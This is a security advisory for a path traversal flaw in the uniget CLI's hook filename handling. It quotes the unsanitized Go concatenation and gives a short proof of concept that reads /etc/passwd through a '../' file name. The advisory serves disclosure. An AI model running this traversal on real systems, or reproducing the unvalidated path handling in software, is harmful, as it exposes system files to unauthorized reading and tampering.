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GHSA-m6jg-wr9m-cg2f

MediumCVSS 6.9 / 10
Published Aug 17, 2026·Last modified Aug 17, 2026
Affected Components(1)
Go logogitlab.com/uniget-org/cli
< 0.27.6
Description

Summary

Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.

Details File: hooks.go Lines 135-160

hookFileName := args[0]  // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName  // Direct concatenation

Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.

PoC

Step 1: Set cat as editor

export EDITOR="cat"

Step 2: Read /etc/passwd via path traversal

./uniget hooks edit --type=pre-install "../../../../etc/passwd"

Step 3: Output shows file contents

root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
<img width="1014" height="178" alt="image" src="https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab" />
Risk Scores
Base Score
6.9

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
2.7

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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